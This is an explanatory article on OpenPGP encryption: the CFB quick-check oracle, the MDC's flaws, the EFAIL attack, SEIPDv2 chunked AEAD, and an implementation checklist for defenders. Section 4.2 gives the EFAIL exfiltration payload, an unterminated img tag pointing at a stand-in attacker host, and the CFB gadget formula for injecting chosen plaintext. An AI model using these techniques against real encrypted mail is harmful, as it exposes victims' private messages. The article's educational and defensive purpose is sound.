OpenPGP's encryption layer is the clearest case study in cryptographic engineering that the format offers: a 1990s design that used unauthenticated CFB, a 2007 bolt-on integrity check (the MDC) that was structurally unable to do its job, a 2018 attack (EFAIL) that turned the gap into practical full-plaintext exfiltration, and a 2024 fix (SEIPD version 2) that finally uses real AEAD. This article works through the mechanics of each step, including the exact CFB gadget construction, because the failure mode — decrypt first, check integrity later — recurs in systems far beyond OpenPGP.
1. The two-layer encryption model
OpenPGP always does hybrid encryption, even for a single recipient. A random session key encrypts the data symmetrically; the session key is then wrapped once per recipient.
Fig. 1 — The session key is the pivot. Everything about OpenPGP confidentiality reduces to protecting it and then using it correctly.
Two consequences worth stating early. First, the recipient list is plaintext metadata — each PKESK carries the key ID it was wrapped to. Hidden-recipient mode zeroes that field, at the cost of forcing every recipient to attempt trial decryption against every key they hold. Second, compromise of the session key alone compromises the message without touching any private key, which is why session keys must come from a CSPRNG and why some workflows deliberately export a session key to allow a third party to decrypt one specific message without key sharing.
2. OpenPGP's non-standard CFB
Cipher Feedback mode turns a block cipher into a self-synchronizing stream cipher. Standard CFB is straightforward:
\[ C_i = P_i \oplus E_K(C_{i-1}), \qquad C_0 = \text{IV} \]OpenPGP does something different, and the difference is historically significant. Instead of an explicit IV, it prefixes the plaintext with a random block plus a two-octet repeat of that block's last two octets, then — in the original RFC 1991/2440 construction — resynchronizes the CFB state after that prefix.
# OpenPGP CFB prefix, block size B (16 for AES) prefix = R[0..B-1] ‖ R[B-2] ‖ R[B-1] └ random ┘ └ repeat of last two octets ┘ # A decryptor checks that the repeated octets match after decryption. # This is a "quick check" — and it is a 16-bit oracle. See §2.1.
2.1 The quick-check oracle
Those two repeated octets were intended as a fast wrong-passphrase / wrong-key detector: decrypt the prefix, compare octets. But they constitute a 16-bit verifier that an attacker can query. If an implementation reveals whether the quick check passed — via an error message, a distinguishable timing difference, or simply by proceeding — an attacker gets an oracle answering "did this ciphertext decrypt to something with matching octets?" one attempt in 65,536 times.
Mister and Zuccherato demonstrated in "An Attack on CFB Mode Encryption As Used By OpenPGP" (2005) that this oracle enables recovery of plaintext blocks with roughly 215 oracle queries per two octets recovered. RFC 9580's response is direct: the quick check is removed in the v2 constructions, and implementations MUST NOT report quick-check failure distinguishably.
3. The MDC: a bolt-on that could not work
RFC 4880 recognized the malleability problem and added the Symmetrically Encrypted and Integrity Protected Data packet (tag 18) containing a Modification Detection Code: a SHA-1 hash over the plaintext, appended to the plaintext, and encrypted along with it.
# SEIPD version 1 (RFC 4880) plaintext layout, before encryption [ CFB prefix ][ ...plaintext packets... ][ D3 14 ][ 20-octet SHA-1 ] │ │ │ └─ MDC packet length └─ tag 19 (MDC packet header) # The SHA-1 covers everything from the prefix through the D3 14 header.
The construction is a MAC-less integrity check: a plain hash, not keyed, made "secure" only by being inside the ciphertext. That framing has three structural defects:
- It is not a MAC. Confidentiality is doing double duty as authenticity. The security argument depends entirely on the attacker being unable to produce ciphertext that decrypts to a valid hash-plus-plaintext pair — which is exactly the property CFB's malleability puts under pressure.
- It is checked last. The MDC is at the end of the plaintext. A streaming decryptor has already emitted the entire plaintext to the caller before it can possibly verify. This is the fatal one.
- It was optional in practice. The legacy SED packet (tag 9) had no MDC at all, and implementations accepted both, so an attacker could simply downgrade by rewrapping the ciphertext in tag 9.
4. EFAIL: turning malleability into exfiltration
EFAIL (Poddebniak, Dresen, Müller, Ising, Schinzel, Friedberger, Somorovsky, Schwenk — USENIX Security 2018) is the paper that made all three defects concrete and expensive. The attacker's position is realistic: they have captured an encrypted email — from a mailbox breach, a backup, or the wire — and can send email to the victim.
4.1 The CFB gadget
The core primitive is a CFB gadget: a way to inject attacker-chosen plaintext into a message, using only knowledge of one known plaintext block. In CFB decryption:
\[ P_i = C_i \oplus E_K(C_{i-1}) \]The attacker does not know \(K\), but observes that if they know \(P_i\) for some block, they can compute \(E_K(C_{i-1}) = P_i \oplus C_i\). With that value in hand they can append a chosen ciphertext block \(C^{*}\) whose decryption is anything they want:
\[ C^{*} = P^{\text{desired}} \oplus E_K(C_{i-1}) \]Where does the known plaintext come from? OpenPGP supplies it for free. The Literal Data packet's header is highly predictable in structure — packet tag, format octet, filename length, timestamp — and in an email context the MIME structure surrounding the message is known. One known block is all the attack needs to bootstrap.
Fig. 2 — The cipher was never attacked. The attack is on the pipeline: malleable ciphertext, late integrity checking, and an output channel that reaches back to the attacker.
4.2 The exfiltration channel
The injected plaintext is an unterminated HTML tag: <img src="http://attacker.example/. When the mail client decrypts and renders, the real plaintext becomes part of the URL, and the client's own HTTP request delivers it to the attacker. Variants use <style>, <base href>, or MIME multipart tricks to achieve the same thing.
Note the division of labor. The cryptographic flaw is malleability plus late integrity checking. The delivery mechanism is a mail client that renders remote content in decrypted messages. Neither alone is sufficient; together they yield full plaintext recovery of previously captured mail.
4.3 The three integrity bypasses
| Bypass | Mechanism | Root cause |
|---|---|---|
| MDC stripping | Remove the trailing MDC packet entirely; some clients then treated the message as unprotected rather than invalid | Missing integrity treated as "no integrity available" instead of "reject" |
| MDC incorrectness | Leave a wrong MDC; clients that warned but still displayed plaintext leaked it anyway | Warning ≠ refusal. Output was already emitted. |
| SEIP → SE downgrade | Rewrap ciphertext as legacy tag 9 (SED), which has no MDC by definition | Accepting a deprecated, unauthenticated packet type at all |
5. SEIPD version 2: actual AEAD
RFC 9580 replaces the encrypt-then-hope construction with authenticated encryption with associated data. The packet:
D2 # tag 18, SEIPD FF 00 00 08 30 # length 02 # version 2 09 # symmetric algorithm: AES-256 02 # AEAD algorithm: 2 = OCB 06 # chunk size exponent → 2^(6+6) = 4096 octets per chunk .. 32 octets salt .. .. chunk 0 ciphertext .. .. 16-octet tag .. .. chunk 1 ciphertext .. .. 16-octet tag .. .. .. final authentication tag over total length ..
5.1 Why chunking, and what it buys
A single AEAD tag over a multi-gigabyte message would force a decryptor to buffer the entire plaintext before it could authenticate anything — the exact "output before verification" trap that made EFAIL work. Chunking solves this: each chunk carries its own tag, so a streaming decryptor can authenticate and release chunk \(n\) before touching chunk \(n+1\).
\[ \text{chunk size} = 2^{(e + 6)} \text{ octets}, \qquad e = \text{chunk size exponent} \]The associated data for each chunk binds the packet version, algorithms, chunk size, and the chunk index, which prevents an attacker from reordering, duplicating, or truncating chunks. The final tag — computed over the total plaintext length — is what makes truncation detectable: without it, an attacker could deliver the first \(k\) valid chunks and drop the rest, and every individual tag would still verify.
5.2 The three AEAD modes
| ID | Mode | Notes |
|---|---|---|
| 1 | EAX | Two-pass, patent-clear, conservative. Slower than the alternatives. |
| 2 | OCB | Single-pass and fastest. Historical patent encumbrance is resolved; RFC 9580 recommends it. |
| 3 | GCM | Ubiquitous hardware support. Catastrophic under nonce reuse — the reason many designers prefer OCB here. |
All three take their nonce from the salt and chunk index deterministically, which structurally prevents the nonce reuse that would break GCM. This is good design: rather than trusting implementations to manage nonces, the spec derives them.
6. Session key wrapping and version pairing
PKESK version 6 (paired with SEIPDv2) changed in two ways that matter:
- Full fingerprint instead of key ID. v3 PKESK identifies the recipient key by 8-octet key ID; v6 uses the full fingerprint (plus a version octet). Given Article 2's discussion of key-ID collisions, this removes an ambiguity in recipient selection.
- The symmetric algorithm moved. In v3 PKESK the cipher ID lives in the encrypted session key blob; in v6 it lives in the SEIPDv2 packet. This means the algorithm choice is now covered by the AEAD's associated data rather than sitting in a separately-encrypted field where a mismatch was possible.
7. Compression: an underrated hazard
OpenPGP compresses before encrypting by default in many implementations. Two consequences:
Compression ratio leaks plaintext information. Compress-then-encrypt is the precondition for the CRIME/BREACH family of attacks. In a setting where an attacker can influence part of the plaintext and observe ciphertext length, compression ratio reveals whether the attacker's guess matched existing content. OpenPGP's typical usage — one-shot, non-interactive messages — makes this much harder to exploit than in TLS, but it is not structurally immune, and any workflow where an attacker can repeatedly submit content that gets compressed alongside a secret should disable compression.
Decompression bombs. A small Compressed Data packet can expand to an arbitrary size. Since the grammar allows a compressed packet whose contents are another compressed packet, nesting multiplies this. Enforce both a total decompressed-size ceiling and a nesting-depth limit, and enforce them on the output of decompression, not on the input length.
8. Implementation checklist
| Rule | Prevents |
|---|---|
| Reject SED (tag 9) unconditionally on parse | EFAIL downgrade bypass |
| Emit no plaintext when integrity fails — not even a warning-plus-output | MDC-incorrectness bypass |
| Treat missing integrity structure as failure, not as "unprotected" | MDC stripping bypass |
| Never report quick-check outcome distinguishably | Mister–Zuccherato CFB oracle |
| Enforce PKESK/SKESK ↔ SEIPD version pairing | Container downgrade |
| Derive AEAD nonces from salt+index; never accept a supplied nonce | GCM nonce-reuse catastrophe |
| Verify the final AEAD tag before treating output as complete | Truncation attacks |
| Cap decompressed size and nesting depth | Decompression bombs |
| Disable compression where attacker-influenced plaintext is possible | CRIME-style ratio leakage |
| Constant-time session key unwrapping, no distinguishable errors | Bleichenbacher-style oracles on RSA PKESK |
FAQ
Was EFAIL a break of OpenPGP's cryptography?
No, and the distinction matters. No cipher was broken and no key was recovered. EFAIL exploited malleable ciphertext combined with integrity checked after output, plus a mail client that fetched remote content from decrypted messages. It is a protocol-and-pipeline failure. That said, "not a crypto break" was overused as a defense at the time — the practical result was full plaintext recovery of captured mail, which is as bad as most crypto breaks.
Is SEIPDv1 with a correctly-implemented MDC safe to use today?
Correctly implemented — meaning strict rejection with no output on any integrity failure, no SED acceptance, no quick-check oracle — it resists the known EFAIL variants. It is still a non-AEAD construction using SHA-1, checked after full decryption. Use it for compatibility with old peers; do not choose it for new systems.
OCB, EAX, or GCM?
OCB, per RFC 9580's own recommendation: single-pass, fastest, and its patent situation is resolved. GCM is defensible where you have hardware acceleration and want a widely-audited implementation. EAX is the conservative fallback. All three are safe here because the spec derives nonces deterministically, removing the failure mode that usually decides this question.
Why does chunk size matter?
It is a memory-versus-overhead tradeoff. Smaller chunks mean lower peak memory for streaming and finer-grained authentication, at the cost of one 16-octet tag per chunk. Larger chunks reduce overhead but increase how much data must be buffered before any of it can be authenticated. The exponent encoding caps this at reasonable values in both directions.
Takeaways
- The recurring failure is decrypt-then-verify. The MDC's position at the end of the plaintext made it structurally unable to protect a streaming decryptor, regardless of implementation quality.
- Any observable check on unauthenticated decrypted data is an oracle — the CFB quick check being the canonical OpenPGP example, and the reason it was removed.
- EFAIL required three bypasses — stripping, incorrectness tolerance, and SED downgrade — and each maps to a specific "be lenient" decision an implementation made.
- SEIPDv2's chunked AEAD makes streaming authentication possible, with a final tag over total length to catch truncation the per-chunk tags cannot.
- Deterministic nonce derivation is quietly one of the best decisions in RFC 9580, because it makes GCM safe to offer without trusting implementers to manage nonces.
Next in this series
Article 4 — Signatures and the verification interface: signature packet versions, the hashed/unhashed subpacket split and why unhashed data is attacker-controlled, cleartext signing's canonicalization traps, one-pass signatures, and SigSpoof — a decades-old spoofing bug that lived in the interface rather than the cryptography.
References
- Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels — Poddebniak et al., USENIX Security 2018. The primary source for §4; read the full paper, not the press coverage.
- USENIX Security 2018 presentation page — slides and recording; the talk is clearer than the paper on the gadget mechanics.
- Mister & Zuccherato — An Attack on CFB Mode Encryption As Used By OpenPGP — the quick-check oracle, 2005.
- RFC 9580 §5.13 — SEIPD packet — normative v1 and v2 layouts, chunking, and associated-data construction.
- RFC 7253 — The OCB Authenticated-Encryption Algorithm — the recommended AEAD mode.
- efail.de — the disclosure site, including the client-by-client vulnerability matrix, which is instructive about how differently implementations behaved.